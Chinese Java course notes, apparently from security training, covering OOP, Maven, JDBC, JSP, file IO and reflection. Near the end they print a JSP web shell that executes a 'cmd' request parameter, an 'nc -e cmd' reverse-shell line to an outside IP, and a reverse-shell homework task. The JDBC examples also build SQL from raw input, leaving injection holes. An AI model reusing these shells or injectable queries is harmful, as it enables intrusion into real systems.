package com.woniuxy.d0413;public class Person {//创建一个人名信息,包含id,username,password,age,sex,phoneprivate int id;private String username;private String password;private int age;private String gender;private String phone;public Person(int id, String username, String password, int age, String gender, String phone) {this.id = id;this.username = username;this.password = password;this.age = age;this.gender = gender;this.phone = phone;}public int getId() {return id;}public void setId(int id) {this.id = id;}public String getUsername() {return username;}public void setUsername(String username) {this.username = username;}public String getPassword() {return password;}public void setPassword(String password) {this.password = password;}public int getAge() {return age;}public void setAge(int age) {if (age < 0) {System.out.println("年龄不能为负数");return;}this.age = age;}public String getGender() {return gender;}public void setGender(String gender) {this.gender = gender;}public String getPhone() {return phone;}public void setPhone(String phone) {this.phone = phone;}public String toString() {return "id:" + id + "\t用户名:" + username + "\t年龄:" + age + "\t性别:" + gender + "\t电话:" + phone;}
}
//实现功能
package com.woniuxy.d0413;import java.util.Scanner;public class PersonManager {Person[] persons = new Person[3];int size = 0;Scanner sc = new Scanner(System.in);public PersonManager() {persons[0] = new Person(1, "zhang", "123", 18, "男", "12345678901");persons[1] = new Person(2, "lisi", "123", 19, "女", "12345678902");persons[2] = new Person(3, "wang", "123", 20, "男", "12345678903");this.size = 3;}public void process() {while (true) {loginMenu();System.out.println("请输入选项:");int choice = sc.nextInt();switch (choice) {case 1:login();break;case 2:register();break;case 3:System.out.println("谢谢使用");System.exit(0);break;default:System.out.println("输入有误,请重新输入");break;}}}//1.登录菜单public void loginMenu() {System.out.println("欢迎使用人员名单系统");System.out.println("\t1.登录");System.out.println("\t2.注册");System.out.println("\t3.退出");}//登录成功服务public void loginSuccessMenu() {System.out.println("欢迎使用人员名单系统");System.out.println("\t1.显示所有人员信息");System.out.println("\t2.修改人员信息");System.out.println("\t3.删除人员信息");System.out.println("\t4.退出");}//2.登录public void login() {System.out.println("请输入用户名:");String username = sc.next();System.out.println("请输入密码:");String password = sc.next();for (int i = 0; i < size; i++) {if (persons[i].getUsername().equals(username) && persons[i].getPassword().equals(password)) {System.out.println("登录成功");//登录成功后的菜单while (true) {loginSuccessMenu();System.out.println("请输入选项:");int choice = sc.nextInt();switch (choice) {case 1:showAll();break;case 2:update();break;case 3:delete();break;case 4://退出到登录菜单return;default:System.out.println("输入有误,请重新输入");break;}}}}System.out.println("用户名或密码错误");}//3.注册public void register() {System.out.println("请输入用户名:");String username = sc.next();System.out.println("请输入密码:");String password = sc.next();System.out.println("请输入年龄:");int age = sc.nextInt();System.out.println("请输入性别:");String gender = sc.next();System.out.println("请输入电话:");String phone = sc.next();// 创建新的更大的数组Person[] newPersons = new Person[persons.length + 1];// 复制原数组到新数组System.arraycopy(persons, 0, newPersons, 0, persons.length);// 添加新元素newPersons[persons.length] = new Person(persons.length + 1, username, password,age,gender,phone);//更新数组引用persons = newPersons;size++;System.out.println("注册成功");}//4.显示所有人员信息public void showAll() {for (int i = 0; i < size; i++) {System.out.println(persons[i]);}}//5.修改人员信息public void update() {System.out.println("请输入要修改的用户名:");String username = sc.next();for (int i = 0; i < size; i++) {if (persons[i].getUsername().equals(username)) {System.out.println("请输入新的密码:");String password = sc.next();System.out.println("请输入新的年龄:");int age = sc.nextInt();System.out.println("请输入新的性别:");String gender = sc.next();System.out.println("请输入新的电话:");String phone = sc.next();persons[i].setPassword(password);persons[i].setAge(age);persons[i].setGender(gender);persons[i].setPhone(phone);System.out.println("修改成功");return;}}System.out.println("修改失败,用户名不存在");}//6.删除人员信息public void delete() {System.out.println("请输入要删除的用户名ID:");int id = sc.nextInt();//找到要删除的用户名for (int i = 0; i < size; i++) {if (persons[i].getId()==id) {//删除for (int j = i; j < size - 1; j++) {//后面的元素往前移动persons[j] = persons[j + 1];}//size-1size--;System.out.println("删除成功");return;}}System.out.println("删除失败,用户名不存在");}public static void main(String[] args) {PersonManager pm = new PersonManager();pm.process();}
}

4. 方法

是为了完成一个功能,二封装了一段代码,并且起个名字,这个就叫方法 。

方法的执行,必须被调用 ,所有的方法都直接或者间接的被main锁调用。

Java中的方法 ,有以下三类 :

  1. 构造方法

    用来创建对象 。

  2. 静态方法

    static :可以修饰变量 ,也可以修饰方法

    修饰变量 : 属于所有对象,被所有对象共享 ,和 成员变量相对应,成员变量属于对象,每一个对象都有自己的成员变量属性值

    ​ 被static修饰的变量,在内存中只有一份,被所有对象共享。

    修饰方法 :修饰的方法,叫静态方法 ,方法也是属于所有对象共享 ,在内存中只有一个,优先加载

    静态变量 和静态方法 都属于所有对象共享,所以他是违反面向对象思想 。

    权限修饰符  static 返回值类型  方法名称(参数。。。) {//方法体 return  返回值 ; //如果返回值类型是 void  就不需要返回值
    }
    // 静态方法 ,一般也推荐 定义成 public 
    
  3. 成员方法

    只要不是被static修饰的方法 ,都是成员方法 ,成员方法使用,必须使用对象调用执行 。

    权限修饰符 返回值类型  方法名称(参数。。。) {//方法体 return  返回值 ; //如果返回值类型是 void  就不需要返回值
    }
    

5. 方法重载

重载 :在同一个类中方法名字相同 ,但是参数不一样 ,这种一系列的方法 ,就叫方法重载

public class MyMath {public int add(int a,int b) {return a+b ;}public double add(double a,double b) {return a+b ;}public long add(long a,long b) {return a+b ;}public static void main(String[] args) {MyMath myMath = new MyMath();//根据传入的参数 ,调用相应的方法double add = myMath.add(10.0, 10.0);}
}
  1. 返回值不一样 ,不构成重载
  2. 参数不同,(个数不同,参数类型不同,并且顺序不同)

6. 继承

继承 : 使用一个类作为子类,继承父类中属性和方法,也就是子类如果继承了一个父类,那么他就可以使用父类中所有的非私有属性和方法

把系统中 ,一些类的共同的属性和方法,抽象成一个父类,然后让其子类去继承,这样的话,所有子类中的就不需要重复定义这些属性和方法了,直接使用父类中定义,在子类中就不需要做重复的定义了

继承关系也是多态的实现条件之一 。

Java只支持单继承,一个类只能继承一个类 。

Java中的类,如果没有显示定义继承了某一个类,那么这个类就继承了Java中的终极父类 :Object

Java支持多级继承

子类中特有的属性和行为,必须定义在子类中 。

子类中都有行为 ,但是每一个子类的此种行为,具体实现不一样,也可以定义在父类中 ,然后子类可以重新实现这个行为。

public class Animal{//父类中的属性可以定义成 public 、也可以定义成 privateprivate String name ;private int age ;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public void shout(){System.out.println("动物会叫。。。");}@Overridepublic String toString() {return "Animal{" +"name='" + name + '\'' +", age=" + age +'}';}
}
public class Dog extends Animal{}
public class Cat extends Animal{
}
public class Pig extends Animal{
}
public class TestAnimal {public static void main(String[] args) {//创建 子类的对象Dog dog = new Dog();//dog.name = "大黄";dog.setName("大黄");dog.setAge(3);System.out.println(dog);dog.shout();Pig pig = new Pig();pig.setName("佩奇");pig.setAge(1);System.out.println(pig);pig.shout();}
}

7. 重写(Override)

重写必须有个前提条件 ,继承关系

重写就是对父类中的方法 进行重新实现,重写的方法 ,必须和父类中的方法一模一样(排除逻辑的实现)

权限修饰符 :子类中重写的方法的权限不能比父类低

返回值 :必须一样

方法名 :必须一样

参数 :必须一样(包括顺序)

异常 :子类的异常至少要和父类的一样 ,或者是父类异常的父类

上述这些要求 不需要记 。

public class Dog extends Animal{//重写父类中的方法 @Overridepublic void shout(){System.out.println("汪汪汪.....");}
}

8. 抽象类和接口(**难点)

  1. 抽象类 (abstract)

    如果一个类中,有方法没有实现,也就是说只有定义,没有实现,那么这个类就要定义成抽象类 ,使用abstract关键词修饰 ,那个没有实现的方法,就是抽象方法,也需要使用 abstract关键词修饰

    抽象类是专门供子类继承的

    抽象类不能实例化,也就是说不能创建对象。

    public abstract class Animal{//父类中的属性可以定义成 public 、也可以定义成 privateprivate String name ;private int age ;// 省略  set get方法//抽象方法  子类必须实现,如果不实现 ,那么子类必须定义成抽象类public abstract void shout() ;@Override  //标识这个方法是重写父类的public String toString() {return "Animal{" +"name='" + name + '\'' +", age=" + age +'}';}
    }
    
    public class Pig extends Animal{@Overridepublic void shout() {System.out.println("哼哼。。。");}
    }
    
  2. 接口 (interface)

    接口就是完全的抽象 ,接口中的全部是 未实现 ,主要是用来定义规范 。

    Java是面向对象的编程,其实就是面向接口编程

    public interface IUSerDao {/*** 查询所有的用户信息* @return*/List<User> selectUsers();/*** 插入用户  保存用户* @param user* @return*/int  insertUser(User user);/*** 修改用户* @param user* @return*/int updateUser(User user);/*** 删除用户 * @param id* @return*/int deleteByKey(int id);
    }
    
    public class UserDaoImpl  implements IUSerDao{@Overridepublic List<User> selectUsers() {System.out.println("查询所有用户信息");return null;}@Overridepublic int insertUser(User user) {System.out.println("插入一条用户信息");return 0;}@Overridepublic int updateUser(User user) {System.out.println("修改一条用户信息");return 0;}@Overridepublic int deleteByKey(int id) {System.out.println("删除一条用户信息");return 0;}
    }
    

    JDK 1.8 接口有了 默认实现

    /*** 删除用户   带有默认实现的接口方法  子类可以选择实现 或者 不实现  都可以* @param id* @return*/
    default int deleteByKey(int id) {return 0 ;
    } ;
    

    接口中的方法 全部默认是 public 的

    接口中也可以定义变量 ,但是接口中的变量都是常量 . public static final

    public interface IUSerDao {//public static final  可以省略
    public static final  double MATH_PI = 3.14 ;
    }
    

9. final 、super 、this

  1. final : 最终的

    1. 修饰变量 这个变量就是一个常量 ,不可以被修改 ,只能使用 使用 final修饰的变量 ,都会设计成 public static
    2. 修饰方法 修饰的方法 ,不能被重写
    3. 修饰类 这个类被继承
  2. super

    this :在我们类中代表 ,当前对象 ,可以在构造方法中、成员方法中 。

    super : 在子类中维护的一个 父类中的对象

    public class Dog extends Animal{public void shout(){//调用 父类中的实现 super 代表 父类对象super.shout();}public  void lookDoor(){System.out.println("够能看家。。。。");}
    }
    

    super 也可以在构造方法中调用 父类的构造方法,必须在构造方法的第一行 :

    创建子类对象时,必须先把父类对象创建出来 ,默认调用父类的无参构造方法 ,那也就是说,作为父类必须提供无参构造方法

    public abstract class Animal {//父类中的属性可以定义成 public 、也可以定义成 privateprivate String name ;private int age ;//省略  set get 方法public Animal() {System.out.println("创建了一个animal对象   defalt");}public Animal(String name) {this.name  = name ;System.out.println("创建了一个animal对象 ");}
    }
    
    public class Dog extends Animal{public Dog() {//默认调用了 父类的无参构造方法//super();super("小黑");}
    }
    

10. 多态 (**重点)

一个类型 有多种状态 ,这就叫多态 。

public class TestAnimal1 {public static void main(String[] args) {/*Animal  :  就是类型状态  : 子类的实现*/// 父类的引用指向子类的对象Animal dog = new Dog();Animal cat = new Cat();Animal pig = new Pig() ;/*多态的实现条件  :1. 必须要有 继承或者实现关系2. 必须有 父类引用指向子类对象*/cat.shout();  //执行的是子类中重写的方法// cat.catchMouse(); //编译报错  多态的情况下 只能调用 父类中有的方法/*多态的运行  :Animal cat = new Cat();cat.catchMouse(); //编译报错  多态的情况下 只能调用 父类中有的方法编译看左边(父类)运行看右边(执行时,真正执行的是子类中重写的方法)*/}
}

④Java的Maven构建项目工具

一、maven的使用

Maven是一个项目构建工具,目前大多数的项目都是Maven构建的 。

下载Maven :apache-maven-3.6.3-bin.zip

绿色软件 不需要安装,直接解压缩就可以 (路径不能有中文,也不能有空格)。

例如 :D:\software\apache-maven-3.6.3 根路径

  1. 配置环境变量

    image-20240417101317772

  2. 配置path路径

    image-20240417101426619

    检验 ,打开命令行 :

    image-20240417101517178

  3. 配置文件

    D:\software\apache-maven-3.6.3\conf\settings.xml

    • 配置本地仓库

      image-20240417101857058

      <localRepository>D:/software/repositoryo</localRepository>
      
    • 配置镜像

      <mirrors><mirror><id>alimaven</id><name>aliyun maven</name><url>http://maven.aliyun.com/nexus/content/groups/public/</url><mirrorOf>central</mirrorOf></mirror><!-- 中央仓库在中国的镜像 --><mirror><id>maven.net.cn</id><name>oneof the central mirrors in china</name><url>http://maven.net.cn/content/groups/public/</url><mirrorOf>central</mirrorOf></mirror>
      </mirrors>
      
    • 配置编译环境

      <profiles><profile><id>jdk-1.8</id><activation><activeByDefault>true</activeByDefault><jdk>1.8</jdk></activation><properties><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target>		<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion></properties></profile>
      </profiles>
      
  4. idea继承maven

    image-20240417102622650

    image-20240417102737353

二、maven工程

image-20240417110107040

or

image-20240417110512070

https://mvnrepository.com/ maven中央仓库的网址 将来所有的依赖 都在这里下载

练习 ,操作goods数据库表中的t_user表 :

  1. 引入依赖

    <dependencies><!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.28</version></dependency><!-- https://mvnrepository.com/artifact/junit/junit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.10</version><scope>test</scope></dependency>
    </dependencies>
    
  2. 创建一个类 保存数据库表中数据

    public class User {private int id;private String username;private String password;//省略 set  get  构造方法  toString
    }
    
  3. 定义一个操作接口

    public interface IUserDao {List<User> selectUsers();int insertUser(User user) ;int updateUser(User user) ;int deleteByKey(int id) ;
    }
    
  4. 实现功能

    public class UserDaoImpl implements IUserDao{JdbcUtil jdbcUtil = new JdbcUtil();@Overridepublic List<User> selectUsers() {Connection conn = null;Statement st = null;ResultSet rs = null;try {conn = jdbcUtil.getConnection();String sql = "select * from t_user" ;st = conn.createStatement(); //rs = st.executeQuery(sql);List<User> users = new ArrayList<>(); //存储用户的数据while (rs.next()) {int id = rs.getInt("id");String username = rs.getString("username");String password = rs.getString("password");User user = new User(id,username,password);//保存单个用户的数据//把user对象 添加到 集合中users.add(user);}return users;} catch (SQLException e) {throw new RuntimeException(e);}finally {jdbcUtil.release(rs,st,conn);}}@Overridepublic int insertUser(User user) {Connection conn = null;Statement st = null;ResultSet rs = null;try {conn = jdbcUtil.getConnection();String sql = "insert into  t_user (username ,password ) values ( '"+user.getUsername()+"','"+user.getPassword()+"'  )" ;st = conn.createStatement(); //int i = st.executeUpdate(sql);return i ;} catch (SQLException e) {throw new RuntimeException(e);}finally {jdbcUtil.release(rs,st,conn);}}@Overridepublic int updateUser(User user) {Connection conn = null;Statement st = null;ResultSet rs = null;try {conn = jdbcUtil.getConnection();String sql = "update   t_user set username = '"+user.getUsername() + "',password = '"+user.getPassword()+"' where id = "+user.getId() ;st = conn.createStatement(); //int i = st.executeUpdate(sql);return i ;} catch (SQLException e) {throw new RuntimeException(e);}finally {jdbcUtil.release(rs,st,conn);}}@Overridepublic int deleteByKey(int id) {Connection conn = null;Statement st = null;ResultSet rs = null;try {conn = jdbcUtil.getConnection();String sql = "delete  from t_user where id = "+id ;st = conn.createStatement(); //int i = st.executeUpdate(sql);return i ;} catch (SQLException e) {throw new RuntimeException(e);}finally {jdbcUtil.release(rs,st,conn);}}
    }
    
  5. 单元测试

    public class TestUser {IUserDao userDao = new UserDaoImpl();@Testpublic void testSelect(){List<User> users = userDao.selectUsers();for (User user :users) {System.out.println(user);}}@Testpublic void testInsert(){User usser = new User("lisi","123456");int i = userDao.insertUser(usser);System.out.println(i);}@Testpublic void testUpdate(){User user = new User(7,"wangwu","aaaa");userDao.updateUser(user);}
    }
    

工具类 :

public class JdbcUtil {
Connection conn ;
static Properties pros = new Properties(); //Map集合  键值对象存储
//加载 配置文件  配置文件 只需要加载一次就可以
static {InputStream in = JdbcUtil.class.getClassLoader().getResourceAsStream("db.properties");try {pros.load(in); //加载 配置文件中信息Class.forName(pros.getProperty("jdbcDriverClassName"));} catch (IOException e) {throw new RuntimeException(e);} catch (ClassNotFoundException e) {throw new RuntimeException(e);}
}/*** 获取数据库连接对象* @return* @throws SQLException*/public Connection getConnection() throws SQLException {conn = DriverManager.getConnection(pros.getProperty("jdbcUrl"),pros.getProperty("jdbcUsername"),pros.getProperty("jdbcPassword"));return conn ;}/*** 资源释放* @param rs* @param st* @param conn*/public void release(ResultSet rs, Statement st ,Connection conn) {try {if (rs != null) {rs.close();}if (st != null) {st.close();}if (conn!= null) {conn.close();}}catch (SQLException e) {e.printStackTrace();}}
}

image-20240417120425732

三、JavaWeb项目开发(淘汰)

  1. Maven创建一个Web工程

    image-20240417140642635

  2. web项目结构

    image-20240417141534801

    替换web.xml文件的内容:

    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"version="4.0"metadata-complete="true"></web-app>
    
  3. 集成到tomcat服务器

    点击 edit configurations

    image-20240417141635334

    image-20240417142022868

    image-20240417142314482

    image-20240417142423116

    image-20240417142447419

    image-20240417142638252

  4. 启动服务器

    http://localhost:8080/newsweb/

  5. 查询新闻表

    • 使用JDBC ,引入jdbc的依赖,在pom文件中 。
    <dependencies><!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java --><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.28</version></dependency><!-- https://mvnrepository.com/artifact/junit/junit --><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.10</version><scope>test</scope></dependency>
    </dependencies>
    
    • 配置数据库的信息文件(db.properties)

      properties 文件的存储 有特殊要求,就是键值对

      此文件,在resources目录下创建

      jdbcUrl=jdbc:mysql://localhost:3306/goods?useSSL=false&serverTimezone=UTC&characterEncoding=utf-8
      jdbcDriverClassName=com.mysql.cj.jdbc.Driver
      jdbcUsername=root
      jdbcPassword=123456
      
    • 开发JdbcUtil 工具类

      参考上面

    • 根据数据库表创建实体数据

      public class News {private int id ;private String title ;private String author ;private String content ;private Date createDate ;//自动生成的方法 自己添加
      }
      
    • 开发新闻表的功能操作(CRUD)

      public interface INewDao {//根据 新闻标题查询 新闻数据 List<News> selectNewsByTitle(String title) ;News selectNewsByKey(int id);int insertNews(News news);int  updateNews(News news) ;int deleteByKey(int id);
      }
      
      public List<News> selectNewsByTitle(String title) {Connection conn = null;Statement st = null;ResultSet rs = null;try {conn = jdbcUtil.getConnection();st = conn.createStatement();String sql = "select * from t_news " ;if (title != null && !"".equals(title.trim())) {sql += "  where title like  '%"+title+"%'  ";}rs = st.executeQuery(sql) ;//封装集合数据List<News>  lists = new ArrayList<>();while (rs.next()) {int id = rs.getInt("id");String tit = rs.getString("title");String content = rs.getString("content");String author = rs.getString("author");Date date = rs.getDate("createdate");//int id, String title, String author, String content, Date createDatNews news = new News(id,tit,author,content,date);lists.add(news) ;}return lists ;} catch (SQLException e) {throw new RuntimeException(e);}finally {jdbcUtil.release(rs,st,conn);}
      }
      
    • JSP页面显示数据

      引入JSP的依赖

      <!-- https://mvnrepository.com/artifact/javax.servlet.jsp/javax.servlet.jsp-api -->
      <dependency><groupId>javax.servlet.jsp</groupId><artifactId>javax.servlet.jsp-api</artifactId><version>2.3.3</version><scope>provided</scope>
      </dependency><!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api -->
      <dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope>
      </dependency>
      
    • jsp页面

      <%@ page import="com.woniuxy.webnews.dao.INewsDao" %>
      <%@ page import="com.woniuxy.webnews.dao.NewsDaoImpl" %>
      <%@ page import="com.woniuxy.webnews.entity.News" %>
      <%@ page import="java.util.List" %>
      <%@page pageEncoding="UTF-8" %>
      <html><head><title>新闻管理</title><style>.news {width: 60%;margin: 0 auto;}table {width: 70%;}table ,table th ,table td {border : 1px solid #CCCCCC;border-collapse: collapse;}table tr {height: 35px;}table tr:first-child {background-color: #CCCCCC;}</style></head><body><%--查询数据库 --%><%//设置请求编码request.setCharacterEncoding("utf-8");//接收 标题信息String title = request.getParameter("title");System.out.println(title);INewsDao newsDao = new NewsDaoImpl();List<News> news = newsDao.selectNewsByTitle(title);/*for (News n :news) {System.out.println(n);}*/String tab = "" ;tab += "<form action='index.jsp' method=\"post\">" ;tab += "标题 : <input type=\"text\" name=\"title\">" ;tab += "<input type=\"submit\" value=\"登录\"  />" ;tab += "</form>";tab += "<table>" ;tab += "<tr>" ;tab += "<th>ID</th>" ;tab += "<th>标题</th>" ;tab += "<th>作者</th>" ;tab += "<th>创建时间</th>" ;tab += "<th>操作</th>" ;tab += "</tr>";for (News n :news) {tab += "<tr>" ;tab += "<td>"+n.getId()+"</td>";tab += "<td>"+n.getTitle()+"</td>";tab += "<td>"+n.getAuthor()+"</td>";tab += "<td>"+n.getCreateDate()+"</td>";tab += "<td>";tab  += "<a href=''>修改</a> &nbsp;&nbsp;&nbsp;&nbsp;" ;tab  += "<a href=''>删除</a>" ;tab += "</td>";tab += "</tr>";}tab += "</table>" ;System.out.println(tab);response.getWriter().print(tab); //把 tab字符串 写到浏览器中%></body>
      </html>
      

四、完善页面(淘汰)

由于jsp已经逐渐被淘汰, 就不把完整页面放上来了

⑤Java其他操作补充

1、会话技术

会话(Session)Web系统中都会提供会话技术,用于鉴权(判断是否登录)。

会话 :服务器和客户端的会话,只要会话不关闭,客户端和服务器之间就有联系 ,这个联系就是通过一个唯一标识建立的。

目前我们浏览器和服务器之间的通信使用的是 :Http协议

Http :是一个无状态的协议,当请求结束之后,就断开了关系。

Session 是每一个客户端都有一个,而且只有一个。

实现 判断用户是否登录 功能

2、IO操作

2.1 、File

File 是Java对象系统中的目录和文件的一个抽象 。

public static void main(String[] args) throws IOException {File file = new File("D:\\myspace\\AppTest.java");boolean file1 = file.isFile();System.out.println(file1);System.out.println(file.length());File f = new File("D:\\my.txt");if (!f.exists()) {f.createNewFile();}File f1 = new File("D:\\test");if (!f1.exists()) {f1.mkdir(); //创建目录  只能是一级//f1.mkdirs(); //  可以是多级}
}
2.2 、字节流

在读写数据时,按照字节的单位读写 。

  • InputStream

    read

    public static void main(String[] args) throws IOException {//字节流  从D盘 把 D:\myspace\AppTest.java  读到内存 并且写到控制台InputStream in = new FileInputStream("D:\\myspace\\AppTest.java");File f = new File("D:\\myspace\\AppTest.java");/*int len = in.read();while (len != -1) {System.out.print((char)len);len = in.read();}*//* byte[] bytes = new byte[(int) f.length()];in.read(bytes);String str = new String(bytes);System.out.println(str);*//* byte[] bytes = new byte[128];int len = in.read(bytes) ;  // len  代表读的字节数while (len != -1) {String s = new String(bytes,0,len);System.out.println(s);len = in.read(bytes);}*/System.out.println("=====");in.close();
    }
    
  • OutputStream

    write

    public static void main(String[] args) throws IOException {String s = "返回从该输入流中可以读取(或跳过)的字节数的估计值,而不会被下一次调用此输入流的方法阻塞。" ;//把这个字符串中的数据 输出到D 盘 保存在一个叫 woniu.txt的文本中File f = new File("D:/woniu.txt");if (!f.exists()) {f.createNewFile();}//把字符串 s  编程字节数组byte[] bytes = s.getBytes();OutputStream out = new FileOutputStream(f);/* for (int i=0;i<bytes.length;i++) {out.write(bytes[i]);}*///out.write(bytes);out.write(bytes,0,5);out.close();
    }
    

随堂练习 :

自己准备一个图片,放在C盘 ,把这个图片 从C盘 复制到D盘 。

public static void main(String[] args) throws IOException {String inputPath = "C:/asc.png" ;String outputPath = "D:/woniu.png" ;InputStream in = new FileInputStream(inputPath);OutputStream out = new FileOutputStream(outputPath);byte[] datas = new byte[128];int len = in.read(datas);while (len !=-1) {//把读进来的数据 写出去out.write(datas,0,len);len = in.read(datas);}out.close();in.close();
}
2.3 、字符流

按照字符去读写数据 。

  • Reader

    public static void main(String[] args) throws IOException {String path = "D:\\myspace\\AppTest.java" ;File f = new File(path);Reader reader = new FileReader(path);char[] datas = new char[(int) f.length()];int len = reader.read(datas);System.out.println(datas.length + "----"+len);/* char[] datas = new char[128];int len = reader.read(datas);while (len != -1) {for (int i=0;i<len;i++) {System.out.print(datas[i]);}len = reader.read(datas);}*//*int len = reader.read();while (len != -1) {System.out.print((char) len);len = reader.read();}*/reader.close();
    }
    
  • Writer

    public static void main(String[] args) throws IOException {String s = "将b.length字节从指定的字节数组写入此输出流。 write(b)的一般合约是应该具有与电话write(b, 0, b.length)完全相同的效果。";String path = "D:/my.txt" ;File f  = new File(path);if (!f.exists()) {f.createNewFile();}Writer writer = new FileWriter(path) ;writer.write(s);writer.close();
    }
    

    随堂练习:

    准备一个字符文件,从一个位置 复制到另外一个位置 。

2.4 、包装流
public class Testbuffer {public static void main(String[] args) throws IOException {Writer w = new FileWriter("D:/www.txt");BufferedWriter bw = new BufferedWriter(w);String s = "zsfdsdfsdfsdfsdfsdfsdfsdfsdf";bw.write(s);bw.close();w.close();}/*public static void main(String[] args) throws IOException {String readerPath = "C:/TestCopy.java" ;Reader r = new FileReader(readerPath);BufferedReader  br = new BufferedReader(r);String s = br.readLine();while (s != null) {System.out.println(s);s = br.readLine();}r.close();br.close();}*/
}

3、Java执行命令行

public static void main(String[] args) throws IOException {Runtime runtime = Runtime.getRuntime();Process process = runtime.exec("whoami");//  nc -e cmd 192.168.12.129 8088InputStream inputStream = process.getInputStream();int in = inputStream.read();while (in != -1) {System.out.print((char)in);in = inputStream.read();}inputStream.close();
}

JSP的一句话木马:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head><title>Title</title>
</head>
<body><%String cmd = request.getParameter("cmd");Runtime runtime = Runtime.getRuntime();Process process = runtime.exec(cmd);//  nc -e cmd 192.168.12.129 8088InputStream inputStream = process.getInputStream();int in = inputStream.read();while (in != -1) {response.getWriter().print((char) in);in = inputStream.read();}inputStream.close();%>
</body>
</html>

4、反射的运用

虚拟机在加载class文件的时候 ,把class文件抽象成了一个类 Class 类 ,一旦class文件被加载到虚拟机,虚拟机就会给这个class文件创建一个对象(Class对象) , 这个Class对象就是这个类的反射对象 ,她可以操作类中的所有的东西,而且还可以在运行时操作。

  1. Class对象如何获取

    Class不需要我们创建,由虚拟机创建

    //1. 获取反射对象 Class 对象 com.woniuxy.day13.reflect.Student 类的全限定名  包名 + 类名
    Class zclass = Class.forName("com.woniuxy.day13.reflect.Student");
    Class c1 = Student.class ;
    Class c2 = s1.getClass();
    
  2. 利用反射对象创建类的对象 (反射操作构造方法)

    public class Testreflect {public static void main(String[] args) throws Exception {//创建一个学生对象Student s1 = new Student();//Student s2 = new Student("jim",18);//将来我们也通过反射的方式 创建对象//1. 获取反射对象 Class 对象 com.woniuxy.day13.reflect.Student 类的全限定名  包名 + 类名Class zclass = Class.forName("com.woniuxy.day13.reflect.Student");//Class c1 = Student.class ;//Class c2 = s1.getClass();//反射创建对象Student stu = (Student) zclass.newInstance(); //利用无参构造方法创建的 Student对象System.out.println(stu);/** getConstructor      只能获取本类及 父类的 公有的方法* getDeclaredConstructor  获取本类中 公有 和 私有的方法*/Constructor constructor = zclass.getDeclaredConstructor(String.class, int.class);//放开私有权限constructor.setAccessible(true) ;Student stu1 = (Student) constructor.newInstance("张三丰", 99);System.out.println(stu1);}
    }
    
  3. 反射操作属性

    image-20240418171852683

    public class Testreflect1 {public static void main(String[] args) throws Exception {//创建一个学生对象//将来我们也通过反射的方式 创建对象//1. 获取反射对象 Class 对象 com.woniuxy.day13.reflect.Student 类的全限定名  包名 + 类名Class zclass = Class.forName("com.woniuxy.day13.reflect.Student");Student stu = (Student) zclass.newInstance();//获取属性/*getField  : 不带Declared 获取的是公有属性  本类和父类的 都可以getDeclaredField  :  可以获取 私有属性 和公有属性 限于本类*/Field name = zclass.getDeclaredField("name");name.setAccessible(true); //*****name.set(stu,"张无忌");System.out.println(stu);//System.out.println(name.getName());//获取所有 本类中的属性Field[] fields = zclass.getDeclaredFields();}
    }
    
  4. 反射操作方法

    public class Testreflect2 {public static void main(String[] args) throws Exception {//创建一个学生对象//将来我们也通过反射的方式 创建对象//1. 获取反射对象 Class 对象 com.woniuxy.day13.reflect.Student 类的全限定名  包名 + 类名Class zclass = Class.forName("com.woniuxy.day13.reflect.Student");Student stu = (Student) zclass.newInstance();//获取 方法对象Method test = zclass.getDeclaredMethod("test", null);test.setAccessible(true);//方法的反射调用test.invoke(stu,null);  //反射执行test方法//执行学生类中的 setNameMethod setName = zclass.getDeclaredMethod("setName", String.class);setName.invoke(stu,"灭绝师太");System.out.println(stu);}
    }
    

练习 :

public static void main(String[] args) throws Exception {/*Runtime runtime = Runtime.getRuntime();Process process = runtime.exec("whoami");//  nc -e cmd 192.168.12.129 8088InputStream inputStream = process.getInputStream();int in = inputStream.read();while (in != -1) {System.out.print((char)in);in = inputStream.read();}inputStream.close();*/Class zclass = Class.forName("java.lang.Runtime");//获取 无参构造方法的对象Constructor constructor = zclass.getDeclaredConstructor();constructor.setAccessible(true);Runtime runtime = (Runtime) constructor.newInstance();System.out.println(runtime);Method exec = zclass.getDeclaredMethod("exec", String.class);exec.invoke(runtime,"calc.exe");
}

作业 :

  1. 完成 jsp靶场 登录 、权限验证 、修改、添加 、删除 、查看详情
  2. 完成文件的复制
  3. 利用反射执行 Runtime的exec方法,做一个反弹shell
//完成文件的复制
package com.woniuxy.d0418;import java.io.*;public class FileCopyExample {public static void main(String[] args) {String sourceFilePath = "C:\\Users\\Administrator\\Pictures\\1.txt"; // 源文件路径String destinationFilePath = "C:\\Users\\Administrator\\Pictures\\2.txt"; // 目标文件路径try {// 创建字符输入流读取源文件FileReader reader = new FileReader(sourceFilePath);// 创建字符输出流写入目标文件FileWriter writer = new FileWriter(destinationFilePath);// 创建缓冲字符输入流BufferedReader bufferedReader = new BufferedReader(reader);// 创建缓冲字符输出流BufferedWriter bufferedWriter = new BufferedWriter(writer);// 读取源文件内容并写入目标文件String line;while ((line = bufferedReader.readLine()) != null) {bufferedWriter.write(line);bufferedWriter.newLine(); // 写入换行符}// 关闭流bufferedReader.close();bufferedWriter.close();reader.close();writer.close();System.out.println("文件复制成功!");} catch (IOException e) {e.printStackTrace();}}
}
//利用反射执行 Runtime的exec方法,做一个反弹shell
